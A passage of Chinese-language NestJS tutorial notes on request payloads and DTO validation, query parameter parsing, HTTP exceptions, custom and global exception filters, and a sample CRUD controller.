import { Observable, of } from 'rxjs';

@Controller('users')
export class UsersController {
  @Get()
  findAll(): Observable<any[]> {
    return of([
      { id: 1, name: '张三' },
      { id: 2, name: '李四' },
    ]);
  }
}
```

`of(...)` 是 RxJS 提供的一个函数，它返回一个 Observable，里面的内容是你给的数据数组

Nest 检测到你返回的是 Observable，会自动 `.subscribe()` 它，然后把最终数据作为 HTTP 响应返回；

效果跟你写 `async findAll(): Promise<...>` 是一样的。

## 请求负载{#request-payloads}

在使用POST 路由处理程序时，通过添加 `@Body()` 装饰器来接受客户端参数。

> \[!tip]
> DTO 是一个指定如何通过网络发送数据的对象。

参数的类型需要使用DTO数据传输对象模式，可以使用 TypeScript 接口或简单类来定义 DTO 模式。

建议在此处使用类。而不是 `interface`，因为 class 在编译后仍然存在于运行时，可以被 Nest 用来做校验、转换、依赖注入等高级功能。

```ts
import { IsString, IsInt } from 'class-validator';

// DTO
export class CreateCatDto {
  @IsString() name: string;
  @IsInt() age: number;
  @IsString() breed: string;
}
// 使用DTO
@Post()
async create(@Body() createCatDto: CreateCatDto) {
  return 'This action adds a new cat';
}
```

Nest 的 `ValidationPipe` 可以过滤掉方法处理程序不应接收的属性，将可接受的属性列入白名单，并且白名单中未包含的任何属性都会自动从生成的对象中删除。在 `CreateCatDto` 示例中，我们的白名单是 `name`、`age` 和 `breed` 属性。了解更多 [ValidationPipe（验证管道）](/nest/js3znd06/)。

**ValidationPipe**：

```bash
pnpm add class-validator class-transformer	# 如果没有
```

* class-validator 用于 DTO 的属性校验。

* class-transformer 用于对象转换和自动过滤属性。

这两个包是 NestJS DTO 校验的标准依赖，必须一起安装。

**自动删除非白名单的属性**：

自动删除那些在验证类中没有任何装饰器（如 `@IsString()`、`@IsInt()` 等）标记的属性，需要将 `whitelist` 设置为 `true`。

```ts
whitelist: true
```

**存在非白名单属性时终止请求**：

如果请求中包含未在 DTO 中定义或未被装饰器标记的属性，想要直接抛出错误（而不是静默删除），需同时启用：

```ts
whitelist: true,
forbidNonWhitelisted: true
```

**启用请求数据类型转换**：

若希望将客户端发送的数据（如字符串）自动转换为目标 DTO 中声明的类型（装饰器）（如 `number`、`boolean` 等），需启用：

```ts
transform: true
```

**启用隐式类型转换**（配合 `transform`）：

默认情况下，`class-transformer` 只会转换**显式用 `@Type(() => Type)` 装饰器声明的属性**。
若希望根据 DTO 中的类型推断，自动将字符串转换为 `number`、`boolean` 等，需启用：

```ts
transformOptions: {
  enableImplicitConversion: true
}
```

启用该选项后，**即使未使用 `@Type()` 装饰器**，也会自动根据类型进行转换。
例如：`{ age: "18" }` 会被转换为 `age: 18`，前提是 `age` 在类中被定义为 `number` 类型。

**示例配置**：

```ts
import { ValidationPipe } from '@nestjs/common';

app.useGlobalPipes(new ValidationPipe({
  whitelist: true,
  forbidNonWhitelisted: true,
  transform: true,
  transformOptions: {
    enableImplicitConversion: true,
  },
}));
```

**扩展**：

如果担心传入值不是一个对象（例如传进来是 `null`、数组、字符串等非对象），可以再加：

```ts
forbidUnknownValues: true
```

Nest 默认是关闭这个的，但在安全场景下你可以启用。

建议在DTO 中字段加 `@Type(() => Number)` ， 显式转换

**尽管开启了 `enableImplicitConversion`，**但在某些复杂结构（如嵌套对象、数组）中，它可能不会自动转换成功**，这时推荐：**

```ts
import { Type } from 'class-transformer';

export class CreateCatDto {
  @Type(() => Number)
  @IsInt()
  age: number;
}
```

显式比隐式更保险，特别是嵌套数组、嵌套对象。

对嵌套对象/数组开启自动验证 `@ValidateNested()` ，否则嵌套对象不会自动校验。

```ts
export class CreateOwnerDto {
  @ValidateNested()
  @Type(() => CreateCatDto)
  cat: CreateCatDto;
}
```

## 查询参数{#query-parameters}

在处理路由中的查询参数时，可以使用 `@Query()` 装饰器从传入请求中提取它们。

```ts
@Get('a6')
demo6(@Query('name') name: string, @Query('age') age: number) {
    return `你的姓名是${name}，年龄是${age}`
}
```

`@Query()` 装饰器用于从查询字符串中提取对应的值

```http
GET /test?name=bill&age=17
```

如果你的应用需要处理更复杂的查询参数，比如：

```http
?filter[where][name]=John&filter[where][age]=30
?item[]=1&item[]=2
```

实际值：

`filter` 是一个嵌套对象，像这样：

```js
filter = {
  where: {
    name: 'John',
    age: 30
  }
}
```

`item[]` 是一个数组，等价于 `item = [1, 2]`

Nest 默认的查询参数解析器（基于 Express 或 Fastify）不支持这种复杂结构，如果你直接用默认设置，Nest 无法正确解析这些嵌套对象和数组，它们只会被当成普通字符串处理。

此时需要**配置查询字符串解析器**，让它支持嵌套结构：

如果你用的是 Express（Nest 默认用它）

```ts
const app = await NestFactory.create<NestExpressApplication>(AppModule);
app.set('query parser', 'extended');
```

这样 Express 会用内置的“extended”模式解析器（其实就是依赖 `qs` 库），支持嵌套对象和数组。

如果你用的是 Fastify（另一个更快的框架）

```ts
import qs from 'qs'; // 确保安装：npm install qs

const app = await NestFactory.create<NestFastifyApplication>(
  AppModule,
  new FastifyAdapter({
    querystringParser: (str) => qs.parse(str),
  }),
);
```

> \[!important]
> [`qs`](https://www.npmjs.com/package/qs) 是一个功能强大的查询字符串解析库，可以将嵌套结构、数组等复杂参数从 URL 字符串转换为 JS 对象，安装 `npm install qs`

## 处理错误{#handling-errors}

Nest 带有一个内置的异常层，负责处理应用中所有未处理的异常。当你的应用代码未处理异常时，该层会捕获该异常，然后自动发送适当的用户友好响应，此操作由内置的全局异常过滤器执行，该过滤器处理 `HttpException` 类型（及其子类）的异常。当异常无法识别时（既不是 `HttpException` 也不是继承自 `HttpException` 的类），内置异常过滤器会生成以下默认 JSON 响应：

```json
{
  "statusCode": 500,
  "message": "Internal server error"
}
```

> \[!important]
> NestJS 的全局异常过滤器**部分支持 [`http-errors`](https://github.com/jshttp/http-errors) 这个第三方库**。
> 只要你抛出的错误对象里**包含 `statusCode` 和 `message` 这两个字段**，Nest 就能识别它，并把它作为一个“合法的 HTTP 异常”返回给前端。
>
> 也就是说：**你不一定非得抛 Nest 的 `HttpException`**，只要抛出一个结构像这样的对象：
>
> ```js
> throw { statusCode: 404, message: 'Not Found' };
> ```
>
> NestJS 就会把它当成正常的 HTTP 响应，而**不会默认变成 500 服务器错误（InternalServerError）**
>
> ```js
> // 例子
> import createError from 'http-errors';
>
> @Get()
> getSomething() {
>   throw createError(403, '你无权访问该资源');
> }
> ```
>
> Nest 能识别这个异常，并返回：
>
> ```json
> {
>   "statusCode": 403,
>   "message": "你无权访问该资源"
> }
>
> ```
>
> 你可以不用写 `new HttpException()`，只要你抛出的对象里带有 `statusCode` 和 `message`，Nest 也能当成合法异常来处理和响应。
>
> 对于使用 `http-errors`、`Boom` 等库的人来说非常方便

**抛出标准异常**

Nest 提供了一个内置的 `HttpException` 类，位于 `@nestjs/common` 包中。对于典型的基于 HTTP REST 或 GraphQL 的应用来说，最佳实践是在遇到错误时，发送标准的 HTTP 响应给客户端，以明确表示错误状态；

也就是说：当你的接口出错时，不要直接抛出普通错误，而是用 Nest 提供的 `HttpException`，让服务器能返回符合 HTTP 规范的错误状态码和信息，方便客户端处理。

```ts
@Get()
async findAll() {
  throw new HttpException('Forbidden', HttpStatus.FORBIDDEN);
}
```

> \[!important]
> `HttpStatus`是一个从 `@nestjs/common` 包导入的辅助枚举。

```json
{
  "statusCode": 403,
  "message": "Forbidden"
}
```

`HttpException` 构造函数接收两个必选参数来决定响应内容：

* `response` 参数定义了 JSON 响应体，可以是如下所述的 `string` 或 `object` 类型。
* `status` 参数定义了 [HTTP 状态码](https://developer.mozilla.org/zh-CN/docs/Web/HTTP/Reference/Status)

默认情况下，JSON 响应体包含两个属性：

* `statusCode`：默认为 `status` 参数中提供的 HTTP 状态码
* `message`：基于 `status` 的 HTTP 错误简短描述

若要仅覆盖 JSON 响应体中的消息部分，请在 `response` 参数中传入字符串。若要覆盖整个 JSON 响应体，则在 `response` 参数中传入对象。Nest 会将该对象序列化后作为 JSON 响应体返回。

第二个构造参数 `status` 应为有效的 HTTP 状态码。最佳实践是使用从 `@nestjs/common` 导入的 `HttpStatus` 枚举。

`HttpException` 的 **第三个参数 `options`（通常用于 `cause`）** 是为了提供**额外上下文信息**，**不会被序列化进响应体**，仅用于日志、调试或内部传递。

```js
throw new HttpException(
  '用户不存在',
  HttpStatus.NOT_FOUND,
  {
    cause: new Error('User ID 123 not found in database')
  }
);
```

实际客户端收到的响应是

```json
{
  "statusCode": 404,
  "message": "用户不存在"
}
```

但在服务端你可以通过 `exception.cause` 拿到更多信息。

**异常日志记录**

在 NestJS 中，**默认情况下，异常过滤器不会记录内置异常**，比如：

* `HttpException`（以及继承自它的自定义异常）
* `WsException`（WebSocket 异常）
* `RpcException`（微服务异常）

当这类异常被抛出时，它们不会在控制台中自动打印日志。原因是：

**它们被视为“正常的应用流程”**，就像 HTTP 中 404 或 403 是可预期的，不属于程序出错。

异常基础类：`IntrinsicException`，这些内置异常都继承自一个基础类：`IntrinsicException`，它来自 `@nestjs/common` 包。

这个类的存在是为了帮助框架区分：

**正常业务流程中的异常**（如访问受限、参数不合法）

**非预期的程序错误**（如数据库连接失败、空指针）

如果你想记录这些异常，可以通过**编写自定义异常过滤器（Exception Filter）**，你可以在其中手动记录、格式化或扩展这些异常。

## 自定义异常类{#custom-exception-classes}

主要用于**封装常见的状态和逻辑，避免重复代码**

不用每次都写这一堆：

```js
throw new HttpException('Forbidden', HttpStatus.FORBIDDEN);
```

可以直接写：

```js
throw new ForbiddenException();
```

更短、更语义化、可读性更强。

形成统一的异常体系（更易维护），比如有这些错误：

* 用户未登录 → `UnauthorizedException`
* 用户被封禁 → `UserBannedException`
* 参数错误 → `InvalidParamException`

用自定义异常封装后，代码里就很清晰，异常层次也清楚，**以后要统一处理（日志记录、响应格式）非常方便。**

自定义响应结构：错误码、语言、元数据等

```js
export class UserBannedException extends HttpException {
  constructor(reason = '你已被封号') {
    super(
      { message: reason, errorCode: 1004 },
      HttpStatus.FORBIDDEN,
    );
  }
}
```

返回前端的内容更有业务含义：

```json
{
  "message": "你已被封号",
  "errorCode": 1004,
  "statusCode": 403
}
```

**便于在异常过滤器中按类型分类处理**

```js
if (exception instanceof UserBannedException) {
  logger.warn('用户封禁：' + exception.message);
}	
```

自定义异常类的核心作用就是：**把常用的异常信息封装成可复用的“状态类”**，
让你在抛异常时不用重复写、结构统一、可读性高、易于后期扩展。

## 内置 HTTP 异常{#built-in-http-exceptions}

Nest 提供了一组继承自基础 `HttpException` 的标准异常。这些异常来自 `@nestjs/common` 包，代表了许多最常见的 HTTP 异常：

| 异常类名称                         | 对应 HTTP 状态码 | 描述                       |
| ---------------------------------- | ---------------- | -------------------------- |
| `BadRequestException`              | 400              | 请求无效（参数错误等）     |
| `UnauthorizedException`            | 401              | 未授权/未登录              |
| `ForbiddenException`               | 403              | 已登录但无权限             |
| `NotFoundException`                | 404              | 资源未找到                 |
| `MethodNotAllowedException`        | 405              | 不支持的请求方法           |
| `NotAcceptableException`           | 406              | 服务端无法满足请求头的需求 |
| `RequestTimeoutException`          | 408              | 请求超时                   |
| `ConflictException`                | 409              | 资源冲突（如用户名已存在） |
| `GoneException`                    | 410              | 资源已被永久删除           |
| `PayloadTooLargeException`         | 413              | 请求体太大                 |
| `UnsupportedMediaTypeException`    | 415              | 不支持的请求内容类型       |
| `UnprocessableEntityException`     | 422              | 请求格式正确但语义错误     |
| `PreconditionFailedException`      | 412              | 请求头条件不满足           |
| `InternalServerErrorException`     | 500              | 服务端内部错误             |
| `NotImplementedException`          | 501              | 功能未实现                 |
| `BadGatewayException`              | 502              | 网关错误                   |
| `ServiceUnavailableException`      | 503              | 服务不可用                 |
| `GatewayTimeoutException`          | 504              | 网关超时                   |
| `HttpVersionNotSupportedException` | 505              | 不支持的 HTTP 协议版本     |
| `ImATeapotException`               | 418              | 🍵 I'm a teapot（彩蛋用）   |

所有内置异常还可以通过 `options` 参数提供错误 `cause` 和错误描述：

```ts
new NotFoundException('用户不存在', { cause: new Error('DB lookup failed') });
```

| 参数名     | 类型               | 作用                                     |
| ---------- | ------------------ | ---------------------------------------- |
| `response` | `string \| object` | 自定义返回消息体（message 字符串或对象） |
| `options`  | `{ cause?: any }`  | 提供内部异常详情（不会返回给前端）       |

> \[!important]
> 在**真实开发和日志追踪场景**中，建议总是使用 `new Error(...)`，它提供堆栈信息，对排错非常有帮助。

`HttpException` 构造函数标准（TypeScript 类型定义）：

```ts
class HttpException extends Error {
  constructor(
    response: string | Record<string, any>,
    status: number,
    options?: {
      cause?: unknown;
      description?: string;
    }
  );
}
```

| 参数名     | 类型                                        | 是否必须 | 说明                                                                      |
| ---------- | ------------------------------------------- | -------- | ------------------------------------------------------------------------- |
| `response` | `string` or `object`                        | 必需   | 响应体，可以是字符串（作为 message）或对象（完整结构）                    |
| `status`   | `number`                                    | 必需   | HTTP 状态码（推荐用 `HttpStatus.X` 枚举）                                 |
| `options`  | `{ cause?: unknown, description?: string }` | 可选   | 附加信息。不会影响应结构中的 `message`，但会影响 `error` 字段和日志记录 |

```ts
throw new BadRequestException('Something bad happened', {
  cause: new Error(),
  description: 'Some error description',
});

// 返回

{
  "message": "Something bad happened",
  "error": "Some error description",
  "statusCode": 400
}
```

**异常过滤器**

虽然内置异常过滤器能自动处理多数场景，但在需要**完全控制**异常处理时（如动态日志记录或自定义 JSON 响应结构），应使用异常过滤器。它允许精确控制执行流程和客户端响应内容。

让我们创建一个异常过滤器，负责捕获 `HttpException` 类的实例异常，并为它们实现自定义响应逻辑。为此，我们需要访问底层平台的 `Request` 和 `Response` 对象。我们将访问 `Request` 对象以提取原始 `url` 并将其包含在日志信息中。我们将使用 `Response` 对象通过 `response.json()` 方法直接控制发送的响应。

```ts
// http-exception.filter
import { ExceptionFilter, Catch, ArgumentsHost, HttpException } from '@nestjs/common';
import { Request, Response } from 'express';

@Catch(HttpException)
export class HttpExceptionFilter implements ExceptionFilter {
  catch(exception: HttpException, host: ArgumentsHost) {
    const ctx = host.switchToHttp();
    const response = ctx.getResponse<Response>();
    const request = ctx.getRequest<Request>();
    const status = exception.getStatus();

    response
      .status(status)
      .json({
        statusCode: status,
        timestamp: new Date().toISOString(),
        path: request.url,
      });
  }
}
```

所有异常过滤器都应该实现泛型接口 `ExceptionFilter<T>`，这意味着你需要提供一个具有特定签名的 `catch(exception: T, host: ArgumentsHost)` 方法，  其中，`T` 代表你想要捕获的异常类型。

`ExceptionFilter`的底层：

```ts
export interface ExceptionFilter<T = any> {
    catch(exception: T, host: ArgumentsHost): any;
}
```

所以要这样：

```ts
export class MyFilter implements ExceptionFilter<HttpException> {
  catch(exception, host: ArgumentsHost) {
    // ...
  }
}
```

> \[!important]
> 如果您使用 `@nestjs/platform-fastify`，可以用 `response.send()` 替代 `response.json()`。别忘了从 `fastify` 导入正确的类型。

`@Catch()` 装饰器
指定要捕获的异常类型（支持多参数，如 `@Catch(HttpException, CustomError)`）

**参数 host**

`catch()` 方法的两个参数：

* `exception`：就是当前捕获到的异常对象。
* `host`：是一个 `ArgumentsHost` 实例，它是 Nest 提供的一个强大工具。

可以通过 `ArgumentsHost` 获取原始的请求处理相关对象，比如 HTTP 请求时的 `Request` 和 `Response`，这在异常过滤器中非常有用。

我们使用了 `ArgumentsHost` 提供的辅助方法，比如：

```ts
host.switchToHttp().getRequest();
host.switchToHttp().getResponse();
```

**平台抽象访问**：

```ts
const ctx = host.switchToHttp();
// 类型参数<Request>确保TS类型安全
const request = ctx.getRequest<Request>();  // 底层框架的Request对象
const response = ctx.getResponse<Response>(); // 底层框架的Response对象
```

**响应控制**

直接操作平台原生响应对象，完全自定义JSON结构

```ts
response.status(status).json({...});
```

**异常元数据提取**

```ts
exception.getStatus();  // 获取HTTP状态码
exception.message;     // 获取原始错误消息
```

用来获取当前发生异常的请求（request）和响应（response）对象。

为什么要用 `ArgumentsHost` 这种“**间接**”的方式而不是直接传请求？

这是为了让异常过滤器能兼容 **所有上下文类型**，不仅仅是 HTTP 请求。比如：

* **HTTP 模式**
* **WebSocket**
* **微服务（gRPC、MQ 等）**

通过 `ArgumentsHost`，我们可以编写一个 **通用的异常过滤器**，适配不同场景，不必为每个场景写一份过滤逻辑。

`ArgumentsHost` 是一个抽象的上下文容器，让我们能从中获取当前请求上下文中的各种原始对象。它的设计是为了支持多种通信协议，而不仅仅是 HTTP。通过它我们可以写出高度复用的通用异常过滤器。

`ArgumentsHost` 提供访问当前执行上下文的方法：

```ts
const httpCtx = host.switchToHttp(); // HTTP上下文
const rpcCtx = host.switchToRpc();   // 微服务上下文
const wsCtx = host.switchToWs();     // WebSocket上下文
```

**绑定过滤器**

`@UseFilters()` 装饰器是从 `@nestjs/common` 包中导入的。

`@UseFilters()` 装饰器，它的作用是将一个（或多个）异常过滤器应用到某个控制器或具体路由方法上。

它的用法与 `@Catch()` 装饰器类似，区别是：

* `@Catch()` 是**定义**过滤器时使用的（绑定异常类型）；
* `@UseFilters()` 是**应用**过滤器时使用的（告诉 Nest：出错时用哪个过滤器）。

在 `@UseFilters()` 中可以：

* 传入一个过滤器的**实例**（`new HttpExceptionFilter()`）；
* 或者直接传入过滤器**类**（`HttpExceptionFilter`）——这样 Nest 会自动帮你实例化，并支持依赖注入。

推荐使用“类”的方式（即不加 `new`），这样更符合 Nest 的依赖注入机制，也更易维护。

> \[!important]
> 关于直接传入一个类支持依赖注入：
>
> 当你传入的是一个类（Class）而不是实例（new 出来的对象）时，Nest 会：
>
> * **自动实例化**这个类
> * 如果这个类的构造函数依赖了其他服务，Nest 会**自动注入这些依赖**
> * Nest 还可以自动管理它的**生命周期**（比如是单例、每个请求一个等）
>
> 所以，传类的方式才叫 “**支持依赖注入**”。
>
> 如果是 `@UseFilters(new HttpExceptionFilter())` **自己创建了一个实例**，Nest 完全没机会帮你：
>
> * 注入构造函数里可能需要的依赖服务
> * 管理这个实例的生命周期（比如按作用域缓存、销毁）
> * 做一些内部的注册工作

尽量使用**类名**来注册过滤器，而不是手动 `new` 一个过滤器实例。这样可以**减少内存开销**，因为 Nest 能够对这个类的实例进行**复用和托管**，在同一个模块中避免重复创建多个实例。

**@Catch() 装饰器也推荐传入类**，而不是实例，这与 `@UseFilters()` 的最佳实践一致。

```ts
@UseFilters(HttpExceptionFilter) // 推荐
@UseFilters(new HttpExceptionFilter()) // 不推荐
```

**降低内存消耗**：

* 如果你 `new`，每次用一次就创建一个新的对象，造成**重复实例**。
* 如果你交给 Nest 管理，它只会创建**一个共享实例（单例）**（默认是 `Scope.DEFAULT`），多个控制器或方法可共用，**节省资源**。

**Nest 可以轻松复用相同类的实例**

* Nest 有自己的 DI 容器，它会**缓存**已经创建好的单例。
* 如果你用类名注册，Nest 会复用已有的。
* 你手动 new，它就绕开了这个机制，相当于绕过了 DI 系统。

```ts
// 路由级注册
@Get(':id')
@UseFilters(CustomExceptionFilter) 
async getUser(@Param('id') id: string) {
    // 当该路由抛出HttpException时触发CustomExceptionFilter
}

// 控制器级别注册
@UseFilters(new CustomExceptionFilter())
@Controller('users')
export class UsersController {}

// 全局注册（main.ts）
app.useGlobalFilters(new CustomExceptionFilter());
```

NestJS 支持多种类型的应用上下文（执行环境）：

| 应用类型      | 举例                           |
| ------------- | ------------------------------ |
| **HTTP**      | REST 接口                      |
| **WebSocket** | 实时聊天、通知等               |
| **GraphQL**   | 使用 GraphQL API 的应用        |
| **混合应用**  | 同时用 HTTP + WebSocket 的应用 |

`app.useGlobalFilters()` **只会对 HTTP 请求生效**，**不会作用于 WebSocket 网关、GraphQL、或混合类型的应用上下文**，也就是它**只会应用在 HTTP 上下文中**（也就是控制器 Controller 的异常处理中生效）。

如果你还想让它对 WebSocket 生效，你必须在**WebSocket 网关类中单独设置过滤器**。

```ts
@WebSocketGateway()
@UseFilters(new YourExceptionFilter()) // 👈 必须在这里用
export class YourGateway {
  // ...
}
```

**全局作用域的异常过滤器**会影响整个应用，它会自动处理所有控制器和路由里的异常，不用你每个地方都加 `@UseFilters()`。

有时候你注册的全局过滤器不能用依赖注入！当你这样写时 ↓

```ts
const app = await NestFactory.create(AppModule);
app.useGlobalFilters(new HttpExceptionFilter());
```

这段代码虽然设置了全局过滤器，但你是用 `new` 手动创建的 `HttpExceptionFilter` 实例，Nest **无法给它自动注入依赖**（比如 Logger、服务、配置等）并且它是在模块系统之外创建的。

解决方案：通过 `APP_FILTER` 令牌注册过滤器

```ts
import { Module } from '@nestjs/common';
import { APP_FILTER } from '@nestjs/core';
import { HttpExceptionFilter } from './filters/http-exception.filter';

@Module({
  providers: [
    {
      provide: APP_FILTER,
      useClass: HttpExceptionFilter,
    },
  ],
})
export class AppModule {}
```

意思是：让 Nest 来负责创建这个过滤器实例，并自动注入它依赖的服务。这个方式更“优雅”、更官方推荐。

注册位置的建议：你可以在**任何模块中注册这个 APP\_FILTER**，它都会变成**全局生效**的。 但**更推荐在定义该过滤器的模块里注册**，这样结构更清晰，也符合模块职责划分。

总结：想让全局异常过滤器也能用依赖注入，就不要用 `new`，而是用 `APP_FILTER + useClass` 的方式，在模块的 `providers` 中注册。

> \[!important]
> **自动依赖注入** 在 **异常过滤器（ExceptionFilter）** 中的实际应用：
>
> 你想在出现异常时，把错误写到一个日志服务里，而这个服务是你自己封装的，比如 `LoggerService`。
>
> 步骤 1：创建一个 LoggerService
>
> ```ts
> // logger.service.ts
> import { Injectable } from '@nestjs/common';
>
> @Injectable()
> export class LoggerService {
>   logError(message: string) {
>     // 这里简化为控制台打印，实际可以写入文件/数据库/第三方日志平台
>     console.error('[LoggerService]', message);
>   }
> }
> ```
>
> 步骤 2：创建一个全局异常过滤器，注入 LoggerService
>
> ```ts
> // filters/http-exception.filter.ts
> import {
>   ExceptionFilter,
>   Catch,
>   ArgumentsHost,
>   HttpException,
>   HttpStatus,
> } from '@nestjs/common';
> import { Request, Response } from 'express';
> import { LoggerService } from '../logger.service';
>
> @Catch()
> export class HttpExceptionFilter implements ExceptionFilter {
>   constructor(private readonly logger: LoggerService) {} // 自动注入
>
>   catch(exception: unknown, host: ArgumentsHost) {
>     const ctx = host.switchToHttp();
>     const response = ctx.getResponse<Response>();
>     const request = ctx.getRequest<Request>();
>
>     const status =
>       exception instanceof HttpException
>         ? exception.getStatus()
>         : HttpStatus.INTERNAL_SERVER_ERROR;
>
>     const message =
>       exception instanceof HttpException
>         ? exception.message
>         : 'Internal server error';
>
>     // 使用自动注入的服务来记录错误
>     this.logger.logError(`[${request.method}] ${request.url} -> ${message}`);
>
>     response.status(status).json({
>       statusCode: status,
>       message,
>       path: request.url,
>       timestamp: new Date().toISOString(),
>     });
>   }
> }
> ```
>
> 步骤 3：在模块中注册为全局过滤器（启用自动注入）
>
> ```ts
> // app.module.ts
> import { Module } from '@nestjs/common';
> import { APP_FILTER } from '@nestjs/core';
> import { LoggerService } from './logger.service';
> import { HttpExceptionFilter } from './filters/http-exception.filter';
>
> @Module({
>   providers: [
>     LoggerService,
>     {
>       provide: APP_FILTER,
>       useClass: HttpExceptionFilter, // 不是用 new，而是交给 Nest 生成
>     },
>   ],
> })
> export class AppModule {}
> ```
>
> 什么是“自动依赖注入”？
>
> 你只需要在构造函数中声明 `constructor(private logger: LoggerService)`，Nest 就会**自动帮你创建实例并注入依赖**。
>
> 你不需要 `new LoggerService()`，Nest 的 IoC 容器会识别依赖并自动提供。
>
> 如果你在 `main.ts` 用 `new HttpExceptionFilter()` 的方式，那 Nest 就**无法注入 LoggerService**，你必须自己传进去，那就麻烦多了。

您可以根据需要使用此技术添加任意数量的过滤器，只需将每个过滤器添加到 providers 数组中即可。

**捕获所有异常**

为了捕获**每一个**未处理的异常（无论异常类型如何），只需让 `@Catch()` 装饰器的参数列表为空即可，例如 `@Catch()`。

**通用平台（Express/Fastify）写法**：

```ts
import {
  ExceptionFilter,
  Catch,
  ArgumentsHost,
  HttpException,
  HttpStatus,
} from '@nestjs/common';
import { HttpAdapterHost } from '@nestjs/core';

@Catch()
export class CatchEverythingFilter implements ExceptionFilter {
  constructor(private readonly httpAdapterHost: HttpAdapterHost) {}

  catch(exception: unknown, host: ArgumentsHost): void {
    // 有些时候 HttpAdapter 可能在构造函数中还不可用，为了稳妥可以在这里取
    const { httpAdapter } = this.httpAdapterHost;

    const ctx = host.switchToHttp();

    const httpStatus =
      exception instanceof HttpException
        ? exception.getStatus()
        : HttpStatus.INTERNAL_SERVER_ERROR;

    const responseBody = {
      statusCode: httpStatus,
      timestamp: new Date().toISOString(),
      path: httpAdapter.getRequestUrl(ctx.getRequest()),
    };

    httpAdapter.reply(ctx.getResponse(), responseBody, httpStatus);
  }
}
```

* `HttpAdapterHost` 是 Nest 抽象出来的 HTTP 平台适配器（比如底层用的是 Express、Fastify 还是其他都不影响）。
* `httpAdapter.getRequestUrl()` 获取请求路径。
* `httpAdapter.reply()` 是平台无关的响应方法，能跨 Express/Fastify 使用。
* 所以这段代码是**跨平台通用**的异常处理器。

**之前例子的写法是特定于 Express 的，而现在这个例子是“平台无关”的通用写法**。

区别总结：

| 方面     | Express 专用               | 平台无关（推荐）         |
| -------- | -------------------------- | ------------------------ |
| 使用对象 | `Request` / `Response`     | `HttpAdapterHost`        |
| 响应方式 | `response.status().json()` | `httpAdapter.reply()`    |
| 兼容性   | 只能用于 Express 项目      | 支持 Express、Fastify 等 |
| 灵活性   | 较低，依赖具体平台 API     | 高，可切换底层框架       |
| 是否推荐 | 小项目可以用               | **中大型项目更推荐**     |

Express 专用写法（之前的）：

```ts
const response = ctx.getResponse<Response>();
response.status(status).json({ ... });
```

只能用在 `Express` 项目中，换成 `Fastify` 项目就报错。

平台无关写法：

```ts
const { httpAdapter } = this.httpAdapterHost;
httpAdapter.reply(ctx.getResponse(), responseBody, httpStatus);
```

无论你 Nest 项目的底层是 Express、Fastify，甚至未来别的 HTTP 引擎，它都能工作正常，**真正做到框架解耦、灵活切换**。

**继承**

通常情况下，您会编写完全自定义的异常过滤器来满足应用需求。但在某些场景，您可能想基于 Nest 内置的全局异常过滤器来做一些定制，比如覆盖某些默认行为。

实现方式是继承 Nest 核心提供的 `BaseExceptionFilter` 类，并在自己的过滤器中调用父类的 `catch()` 方法，将异常处理流程委托给基础实现：

```ts
import { Catch, ArgumentsHost } from '@nestjs/common';
import { BaseExceptionFilter } from '@nestjs/core';

@Catch()
export class AllExceptionsFilter extends BaseExceptionFilter {
  catch(exception: unknown, host: ArgumentsHost) {
    super.catch(exception, host);
  }
}
```

**注意**：继承自 `BaseExceptionFilter` 的方法级或控制器级过滤器，**不要用 `new` 手动实例化**，应由 Nest 框架自动管理实例化，以保证依赖注入和生命周期正确。

全局异常过滤器可以继承这个基础过滤器，有两种常见的应用方式：

直接实例化并传入 `HttpAdapter` 引用：

```ts
async function bootstrap() {
  const app = await NestFactory.create(AppModule);

  const { httpAdapter } = app.get(HttpAdapterHost);
  app.useGlobalFilters(new AllExceptionsFilter(httpAdapter));

  await app.listen(process.env.PORT ?? 3000);
}
bootstrap();
```

这里自己 new 了过滤器实例，并传入了底层的 `httpAdapter`，用于实现跨平台（Express、Fastify等）的响应操作。

通过依赖注入令牌 `APP_FILTER` 注册：

```ts
@Module({
  providers: [
    {
      provide: APP_FILTER,
      useClass: AllExceptionsFilter,
    },
  ],
})
export class AppModule {}
```

这种方式让 Nest 自动实例化并注入依赖，适合依赖注入管理更完善的情况。

总结：

* 继承 `BaseExceptionFilter` 能直接复用 Nest 的默认异常处理逻辑，方便定制。
* 方法级或控制器级的继承过滤器不要自己 new，而是让框架管理实例。
* 全局异常过滤器既可以手动 new 并传入适配器，也可以用 `APP_FILTER` 令牌自动注入。

如果你的全局异常过滤器都是自己写的完全定制逻辑，那么**传入并继承 `BaseExceptionFilter` 的意义主要在于重用 Nest 内置的异常处理机制**，具体体现在：

1. **复用框架默认的异常处理行为**
   Nest 内置的 `BaseExceptionFilter` 已经实现了对 `HttpException` 等常见异常的标准处理（比如自动设置状态码、格式化响应等），并且支持跨平台适配（Express、Fastify等）。继承它可以避免你从零开始重写这套逻辑。
2. **保持跨平台兼容性**
   `BaseExceptionFilter` 使用了 `HttpAdapter` 来发送响应，这样你的过滤器在不同底层 HTTP 服务器之间是无感的。如果你直接写死 Express 的 `res` 对象等，移植到 Fastify 可能就需要重写。
3. **降低维护成本和减少潜在错误**
   使用框架已有的基础实现，能减少因为自定义逻辑不完善导致的异常响应错误。也方便框架未来升级时减少兼容问题。

如果你的自定义过滤器已经完全覆盖并且保证了所有异常处理逻辑（状态码、格式、日志、跨平台等）都正确无误，且不依赖 `BaseExceptionFilter` 的功能，那么继承它的必要性就不大了。

总结：

* 继承 `BaseExceptionFilter` 是为了复用 Nest 的成熟异常处理机制和跨平台支持。
* 如果你的实现完全自定义且不依赖这些特性，可以不用继承它，直接实现 `ExceptionFilter` 接口即可。

## 完整资源样本{#full-resource-sample}

下面是一个使用多个 **HTTP 装饰器** 创建的基本控制器 `CatsController`，它支持常见的 **增删改查（CRUD）操作**，并通过 DTO 管理数据结构。

```ts
import {
  Controller,
  Get,
  Query,
  Post,
  Body,
  Put,
  Param,
  Delete,
} from '@nestjs/common';

import {
  CreateCatDto,
  UpdateCatDto,
  ListAllEntities,
} from './dto'; // 引入数据传输对象 DTO

@Controller('cats') // 路由前缀：所有路由以 /cats 开头
export class CatsController {
  @Post() // POST /cats
  create(@Body() createCatDto: CreateCatDto) {
    // 从请求体中提取 JSON 数据并映射到 CreateCatDto 类型
    return 'This action adds a new cat';
  }

  @Get() // GET /cats
  findAll(@Query() query: ListAllEntities) {
    // 从查询参数中提取数据，如 /cats?limit=10
    return `This action returns all cats (limit: ${query.limit} items)`;
  }

  @Get(':id') // GET /cats/:id
  findOne(@Param('id') id: string) {
    // 从路由参数中提取 id，例如 /cats/123
    return `This action returns a #${id} cat`;
  }

  @Put(':id') // PUT /cats/:id
